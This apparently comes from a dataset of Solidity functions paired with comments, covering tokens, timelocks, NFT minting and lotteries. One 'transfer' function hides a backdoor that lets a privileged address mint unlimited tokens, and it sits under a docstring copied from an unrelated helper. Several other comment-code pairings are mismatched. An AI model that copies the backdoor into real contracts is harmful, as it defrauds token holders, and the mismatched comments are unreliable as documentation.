lohoz/Smart-Contract-MultiTask-Dataset huggingface dataset:
// Solidity 0.4.6
/* Sell position and collect claim*/
function sell(uint256 amount) {
        if(claimStatus == false) throw;                // checks if party can make a claim
        if (balanceOf[msg.sender] < amount ) throw;        // checks if the sender has enough to sell
        balanceOf[this] += amount;                         // adds the amount to owner's balance
        balanceOf[msg.sender] -= amount;                   // subtracts the amount from seller's balance
        if (!msg.sender.send(claim)) {                  // sends ether to the seller. It's important
            throw;                                         // to do this last to avoid recursion attacks
        } else {
            Transfer(msg.sender, this, amount);            // executes an event reflecting on the change
        }               
    }
// Solidity 0.5.17
/**
 * @notice tick to increase holdings
 */
function tick() public {
        uint _current = block.number;
        uint _diff = _current.sub(lastTick);
        
        if (_diff > 0) {
            lastTick = _current;
            
            _diff = balances[address(pool)].mul(_diff).div(700000); // 1% every 7000 blocks
            uint _minting = _diff.div(2);
            if (_minting > 0) {
                _transferTokens(address(pool), address(this), _minting);
                pool.sync();
                _mint(address(this), _minting);
                // % of tokens that go to LPs
                allowances[address(this)][address(rewardDistribution)] = _minting;
                rewardDistribution.notifyRewardAmount(_minting);
                
                emit Tick(_current, _diff);
            }
        }
    }
// Solidity 0.4.24
// show unlocked balance of an account
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
        _balance = balanceP[_address];
        uint256 i = 0;
        while (i < lockNum[_address]) {
            if (add(now, earlier) >= add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
            i++;
        }
        return _balance;
    }
// Solidity 0.4.24
// show timelocked balance of an account
function balanceLocked(address _address) public view returns (uint256 _balance) {
        _balance = 0;
        uint256 i = 0;
        while (i < lockNum[_address]) {
            if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
            i++;
        }
        return  _balance;
    }
// Solidity 0.4.24
// show timelocks in an account
function showTime(address _address) public view validAddress(_address) returns (uint256[] _time) {
        uint i = 0;
        uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
        while (i < lockNum[_address]) {
            tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier);
            i++;
        }
        return tempLockTime;
    }
// Solidity 0.4.24
// Calculate and process the timelock states of an account
function calcUnlock(address _address) private {
        uint256 i = 0;
        uint256 j = 0;
        uint256[] memory currentLockTime;
        uint256[] memory currentLockValue;
        uint256[] memory newLockTime = new uint256[](lockNum[_address]);
        uint256[] memory newLockValue = new uint256[](lockNum[_address]);
        currentLockTime = lockTime[_address];
        currentLockValue = lockValue[_address];
        while (i < lockNum[_address]) {
            if (add(now, earlier) >= add(currentLockTime[i], later)) {
                balanceP[_address] = add(balanceP[_address], currentLockValue[i]);
                emit TokenUnlocked(_address, currentLockValue[i]);
            } else {
                newLockTime[j] = currentLockTime[i];
                newLockValue[j] = currentLockValue[i];
                j++;
            }
            i++;
        }
        uint256[] memory trimLockTime = new uint256[](j);
        uint256[] memory trimLockValue = new uint256[](j);
        i = 0;
        while (i < j) {
            trimLockTime[i] = newLockTime[i];
            trimLockValue[i] = newLockValue[i];
            i++;
        }
        lockTime[_address] = trimLockTime;
        lockValue[_address] = trimLockValue;
        lockNum[_address] = j;
    }
// Solidity 0.4.24
// standard ERC20 transfer
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) {
        if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
        require(balanceP[msg.sender] >= _value && _value >= 0);
        balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
        balanceP[_to] = add(balanceP[_to], _value);
        emit Transfer(msg.sender, _to, _value);
        return true;
    }
// Solidity 0.4.24
// transfer Token with timelocks
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool success) {
        require(_value.length == _time.length);

        if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
        uint256 i = 0;
        uint256 totalValue = 0;
        while (i < _value.length) {
            totalValue = add(totalValue, _value[i]);
            i++;
        }
        require(balanceP[msg.sender] >= totalValue && totalValue >= 0);
        i = 0;
        while (i < _time.length) {
            balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]);
            lockTime[_to].length = lockNum[_to]+1;
            lockValue[_to].length = lockNum[_to]+1;
            lockTime[_to][lockNum[_to]] = add(now, _time[i]);
            lockValue[_to][lockNum[_to]] = _value[i];

            // emit custom TransferLocked event
            emit TransferLocked(msg.sender, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);

            // emit standard Transfer event for wallets
            emit Transfer(msg.sender, _to, lockValue[_to][lockNum[_to]]);
            lockNum[_to]++;
            i++;
        }
        return true;
    }
// Solidity 0.4.24
// lockers set by owners may transfer Token with timelocks
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
	    validAddress(_from) validAddress(_to) returns (bool success) {
        require(locker[msg.sender]);
        require(_value.length == _time.length);

        if (lockNum[_from] > 0) calcUnlock(_from);
        uint256 i = 0;
        uint256 totalValue = 0;
        while (i < _value.length) {
            totalValue = add(totalValue, _value[i]);
            i++;
        }
        require(balanceP[_from] >= totalValue && totalValue >= 0 && allowance[_from][msg.sender] >= totalValue);
        i = 0;
        while (i < _time.length) {
            balanceP[_from] = sub(balanceP[_from], _value[i]);
            allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value[i]);
            lockTime[_to].length = lockNum[_to]+1;
            lockValue[_to].length = lockNum[_to]+1;
            lockTime[_to][lockNum[_to]] = add(now, _time[i]);
            lockValue[_to][lockNum[_to]] = _value[i];

            // emit custom TransferLocked event
            emit TransferLocked(_from, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);

            // emit standard Transfer event for wallets
            emit Transfer(_from, _to, lockValue[_to][lockNum[_to]]);
            lockNum[_to]++;
            i++;
        }
        return true;
    }
// Solidity 0.4.24
// standard ERC20 transferFrom
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) {
        if (lockNum[_from] > 0) calcUnlock(_from);
        require(balanceP[_from] >= _value && _value >= 0 && allowance[_from][msg.sender] >= _value);
        allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value);
        balanceP[_from] = sub(balanceP[_from], _value);
        balanceP[_to] = add(balanceP[_to], _value);
        emit Transfer(_from, _to, _value);
        return true;
    }
// Solidity 0.6.12
/** Path stuff **/
function getPath(address tokent,bool isSell) internal view returns (address[] memory path){
        path = new address[](2);
        path[0] = isSell ? tokent : WETH;
        path[1] = isSell ? WETH : tokent;
        return path;
    }
// Solidity 0.6.12
/** Path stuff end **/
function rebalance(address rewardRecp) external discountCHI override returns (uint256)  {
        require(msg.sender == address(token), "only token");
        swapEthForTokens();
        uint256 lockableBalance = token.balanceOf(address(this));
        uint256 callerReward = token.getCallerCut(lockableBalance);
        token.transfer(rewardRecp, callerReward);
        if(shouldDirectBurn) {
            token.burn(lockableBalance.sub(callerReward,"Underflow on burn"));
        }
        else {
            token.transfer(burnAddr,lockableBalance.sub(callerReward,"Underflow on burn"));
        }
        return lockableBalance.sub(callerReward,"underflow on return");
    }
// Solidity 0.4.24
/**
 * @dev Burns a specific amount of tokens from an address
 *
 * @param _from address The address which you want to send tokens from
 * @param _value uint256 The amount of token to be burned.
 */
function burnFrom(address _from, uint256 _value) public {
    require(_value <= allowed[_from][msg.sender]);

    uint256 lastBalance = balanceOfAt(_from, block.number);
    require(_value <= lastBalance);

    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);

    address burner = _from;
    uint256 curTotalSupply = totalSupply();

    updateValueAtNow(totalSupplyHistory, curTotalSupply.sub(_value));
    updateValueAtNow(balances[burner], lastBalance.sub(_value));

    emit Burn(burner, _value);
  }
// Solidity 0.4.24
/**
 * @dev This is the actual transfer function in the token contract, it can
 * @dev only be called by other functions in this contract.
 *
 * @param _from The address holding the tokens being transferred
 * @param _to The address of the recipient
 * @param _value The amount of tokens to be transferred
 * @param _lastBalance The last balance of from
 * @return True if the transfer was successful
 */
function doTransfer(address _from, address _to, uint256 _value, uint256 _lastBalance) internal returns (bool) {
    if (_value == 0) {
      return true;
    }

    updateValueAtNow(balances[_from], _lastBalance.sub(_value));

    uint256 previousBalance = balanceOfAt(_to, block.number);
    updateValueAtNow(balances[_to], previousBalance.add(_value));

    emit Transfer(_from, _to, _value);
    return true;
  }
// Solidity 0.8.9
/**
 * @dev Mints `quantity` tokens and transfers them to `to`.
 *
 * Requirements:
 *
 * - there must be `quantity` tokens remaining unminted in the total collection.
 * - `to` cannot be the zero address.
 * - `quantity` cannot be larger than the max batch size.
 *
 * Emits a {Transfer} event.
 */
function _safeMint(
    address to,
    uint256 quantity,
    bytes memory _data
  ) internal {
    uint256 startTokenId = currentIndex;
    require(to != address(0), "ERC721A: mint to the zero address");
    // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
    require(!_exists(startTokenId), "ERC721A: token already minted");
    require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");

    _beforeTokenTransfers(address(0), to, startTokenId, quantity);

    AddressData memory addressData = _addressData[to];
    _addressData[to] = AddressData(
      addressData.balance + uint128(quantity),
      addressData.numberMinted + uint128(quantity)
    );
    _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));

    uint256 updatedIndex = startTokenId;

    for (uint256 i = 0; i < quantity; i++) {
      emit Transfer(address(0), to, updatedIndex);
      require(
        _checkOnERC721Received(address(0), to, updatedIndex, _data),
        "ERC721A: transfer to non ERC721Receiver implementer"
      );
      updatedIndex++;
    }

    currentIndex = updatedIndex;
    _afterTokenTransfers(address(0), to, startTokenId, quantity);
  }
// Solidity 0.8.9
/**
 * @dev Transfers `tokenId` from `from` to `to`.
 *
 * Requirements:
 *
 * - `to` cannot be the zero address.
 * - `tokenId` token must be owned by `from`.
 *
 * Emits a {Transfer} event.
 */
function _transfer(
    address from,
    address to,
    uint256 tokenId
  ) private {
    TokenOwnership memory prevOwnership = ownershipOf(tokenId);

    bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
      getApproved(tokenId) == _msgSender() ||
      isApprovedForAll(prevOwnership.addr, _msgSender()));

    require(
      isApprovedOrOwner,
      "ERC721A: transfer caller is not owner nor approved"
    );

    require(
      prevOwnership.addr == from,
      "ERC721A: transfer from incorrect owner"
    );
    require(to != address(0), "ERC721A: transfer to the zero address");

    _beforeTokenTransfers(from, to, tokenId, 1);

    // Clear approvals from the previous owner
    _approve(address(0), tokenId, prevOwnership.addr);

    _addressData[from].balance -= 1;
    _addressData[to].balance += 1;
    _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));

    // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
    // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
    uint256 nextTokenId = tokenId + 1;
    if (_ownerships[nextTokenId].addr == address(0)) {
      if (_exists(nextTokenId)) {
        _ownerships[nextTokenId] = TokenOwnership(
          prevOwnership.addr,
          prevOwnership.startTimestamp
        );
      }
    }

    emit Transfer(from, to, tokenId);
    _afterTokenTransfers(from, to, tokenId, 1);
  }
// Solidity 0.4.24
// Send ETH to winners
function distributeFunds() internal
    {
        // determine who is lose
        uint8 loser = uint8(getRandom() % players.length + 1);

        for (uint i = 0; i <= players.length - 1; i++) {
            // if it is loser - skip
            if (loser == i + 1) {
                emit playerLose(players[i], loser);
                continue;
            }

            // pay prize
            if (players[i].send(1200 finney)) {
                emit playerWin(players[i]);
            }
        }

        // gorgona fee
        feeAddr.transfer(address(this).balance);

        players.length = 0;
        roundNumber ++;

        emit newRound(roundNumber);
    }
// Solidity 0.8.9
// verified
function splitSignature(bytes memory _sig)
    internal
    pure
    returns (
      uint8,
      bytes32,
      bytes32
    )
  {
    require(_sig.length == 65, "Invalid signature length");

    uint8 v;
    bytes32 r;
    bytes32 s;
    assembly {
      r := mload(add(_sig, 32))
      s := mload(add(_sig, 64))
      v := byte(0, mload(add(_sig, 96)))
    }
    return (v, r, s);
  }
// Solidity 0.4.24
/**
 * @dev giveTickets buy ticket and give it to another player
 * @param _user The address of the player that will receive the ticket.
 * @param _drawDate The draw date of tickets.
 * @param _balls The ball numbers of the tickets.
 */
function giveTickets(address _user,uint32 _drawDate, uint8[] _balls) 
	onlyOwner
	public
	{
	    require(!_results[_drawDate].hadDraws);
	    uint32[] memory _idTickets = new uint32[](_balls.length/5);
	    uint32 id = idTicket;
		
	    for(uint8 i = 0; i< _balls.length; i+=5){
	        require(checkRedBall(_balls[i+4]));
	        require(checkBall(_balls[i]));
	        require(checkBall(_balls[i+1]));
	        require(checkBall(_balls[i+2]));
	        require(checkBall(_balls[i+3]));
	        id++;
    	    tickets[id].player = _user;
    	    tickets[id].drawDate = _drawDate;
    	    tickets[id].price = ticketInfo.priceTicket;
    	    tickets[id].redBall = _balls[i+4];
    	    tickets[id].ball1 = _balls[i];
    	    tickets[id].ball2 = _balls[i + 1];
    	    tickets[id].ball3 = _balls[i +2];
    	    tickets[id].ball4 = _balls[i + 3];
		    _draws[_drawDate].tickets[_draws[_drawDate].count] = id;
    	    _draws[_drawDate].count ++;
    	    _idTickets[i/5] = id;
	    }
	    idTicket = id;
	    emit logBuyTicketSumary(_user,_idTickets,_drawDate);
	}
// Solidity 0.4.24
/**
 * @dev addTickets allow admin add ticket to player for buy ticket fail
 * @param _user The address of the player that will receive the ticket.
 * @param _drawDate The draw date of tickets.
 * @param _balls The ball numbers of the tickets.
 * @param _price The price of the tickets.
 */
function addTickets(address _user,uint32 _drawDate, uint64 _price, uint8[] _balls) 
	onlyOwner
	public
	{
	    require(!_results[_drawDate].hadDraws);
	    uint32[] memory _idTickets = new uint32[](_balls.length/5);
	    uint32 id = idTicket;
		
	    for(uint8 i = 0; i< _balls.length; i+=5){
	        require(checkRedBall(_balls[i+4]));
	        require(checkBall(_balls[i]));
	        require(checkBall(_balls[i+1]));
	        require(checkBall(_balls[i+2]));
	        require(checkBall(_balls[i+3]));
	        id++;
    	    tickets[id].player = _user;
    	    tickets[id].drawDate = _drawDate;
    	    tickets[id].price = _price;
    	    tickets[id].redBall = _balls[i+4];
    	    tickets[id].ball1 = _balls[i];
    	    tickets[id].ball2 = _balls[i + 1];
    	    tickets[id].ball3 = _balls[i +2];
    	    tickets[id].ball4 = _balls[i + 3];
		    _draws[_drawDate].tickets[_draws[_drawDate].count] = id;
    	    _draws[_drawDate].count ++;
    	    _idTickets[i/5] = id;
	    }
	    idTicket = id;
	    emit logBuyTicketSumary(_user,_idTickets,_drawDate);
	}
// Solidity 0.4.24
/**
 * @dev doDraws buy ticket and give it to another player
 * @param _drawDate The draw date of tickets.
 * @param _result The result of draw.
 */
function doDraws(uint32 _drawDate, uint8[5] _result)
	public
	onlyOwner
	returns (bool success) 
	{
		require (_draws[_drawDate].count > 0);
		require(!_results[_drawDate].hadDraws);
		_results[_drawDate].hadDraws =true;
		for(uint32 i=0; i<_draws[_drawDate].count;i++){
			uint8 _prize = checkTicket(_draws[_drawDate].tickets[i],_result);
			if(_prize==5){ //special
			    _results[_drawDate].special.winners.push(address(0));
				_results[_drawDate].special.winners[_results[_drawDate].special.winners.length-1] = tickets[_draws[_drawDate].tickets[i]].player;
			}else if(_prize == 4){ //First
			    _results[_drawDate].first.winners.push(address(0));
				_results[_drawDate].first.winners[_results[_drawDate].first.winners.length-1] = tickets[_draws[_drawDate].tickets[i]].player;
			}else if(_prize == 3){ //Second
			    _results[_drawDate].second.winners.push(address(0));
				_results[_drawDate].second.winners[_results[_drawDate].second.winners.length-1] = tickets[_draws[_drawDate].tickets[i]].player;
			}else if(_prize == 2){ //Third
			    _results[_drawDate].third.winners.push(address(0));
				_results[_drawDate].third.winners[_results[_drawDate].third.winners.length-1] = tickets[_draws[_drawDate].tickets[i]].player;
			}
		}
		_results[_drawDate].result =_result;
		setAmoutPrize(_drawDate,_result);
		
		
		return true;
	}
// Solidity 0.4.21
/**
 * @dev Called by owner of locked tokens to release them
 */
function releaseTokens() public {
        require(walletTokens[msg.sender].length > 0);

        for(uint256 i = 0; i < walletTokens[msg.sender].length; i++) {
            if(!walletTokens[msg.sender][i].released && now >= walletTokens[msg.sender][i].lockEndTime) {
                walletTokens[msg.sender][i].released = true;
                token.transfer(msg.sender, walletTokens[msg.sender][i].amount);
                TokensUnlocked(msg.sender, walletTokens[msg.sender][i].amount);
            }
        }
    }
// Solidity 0.8.9
/**
 * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
 * but also transferring `value` wei to `target`.
 *
 * Requirements:
 *
 * - the calling contract must have an ETH balance of at least `value`.
 * - the called Solidity function must be `payable`.
 *
 * _Available since v3.1._
 */
function transfer(address recipient, uint256 amount) public override  returns (bool) {
        if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
        else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
        else{_transfer(_msgSender(), recipient, amount); return true;}
    }
// Solidity 0.6.6
// Initialization functions
function setupWithdrawTokens() internal {
        // Start with BAC
        IERC20 _token = IERC20(address(0x3449FC1Cd036255BA1EB19d65fF4BA2b8903A69a));
        tokenList.push(
            TokenInfo({
                token: _token,
                decimals: _token.decimals()
            })
        );
        
        // MIC
         _token = IERC20(address(0x368B3a58B5f49392e5C9E4C998cb0bB966752E51));
        tokenList.push(
            TokenInfo({
                token: _token,
                decimals: _token.decimals()
            })
        );
    }
// Solidity 0.4.19
// Returns the number of locked tokens at the specified address.
//
function lockedValueOf(address _addr) public view returns (uint256 value) {
    User storage user = users[_addr];
    // Is the lock expired?
    if (user.lock_endTime < block.timestamp) {
      // Lock is expired, no locked value.
      return 0;
    } else {
      return user.lock_value;
    }
  }
// Solidity 0.4.19
// Lock the specified number of tokens until the specified unix
// time.  The locked value and expiration time are both absolute (if
// the account already had some locked tokens the count will be
// increased to this value.)  If the user already has locked tokens
// the locked token count and expiration time may not be smaller
// than the previous values.
//
function increaseLock(uint256 _value, uint256 _time) public returns (bool success) {
    User storage user = users[msg.sender];

    // Is there a lock in effect?
    if (block.timestamp < user.lock_endTime) {
      // Lock in effect, ensure nothing gets smaller.
      require(_value >= user.lock_value);
      require(_time >= user.lock_endTime);
      // Ensure something has increased.
      require(_value > user.lock_value || _time > user.lock_endTime);
    }

    // Things we always require.
    require(_value <= user.balance);
    require(_time > block.timestamp);

    user.lock_value = _value;
    user.lock_endTime = _time;
    LockIncrease(msg.sender, _value, _time);
    return true;
  }
// Solidity 0.4.19
// Employees of CashBet may decrease the locked token value and/or
// decrease the locked token expiration date.  These values may not
// ever be increased by an employee.
//
function decreaseLock(uint256 _value, uint256 _time, address _user) public only_employees(_user) returns (bool success) {
    User storage user = users[_user];

    // We don't modify expired locks (they are already 0)
    require(user.lock_endTime > block.timestamp);
    // Ensure nothing gets bigger.
    require(_value <= user.lock_value);
    require(_time <= user.lock_endTime);
    // Ensure something has decreased.
    require(_value < user.lock_value || _time < user.lock_endTime);

    user.lock_value = _value;
    user.lock_endTime = _time;
    LockDecrease(_user, msg.sender, _value, _time);
    return true;
  }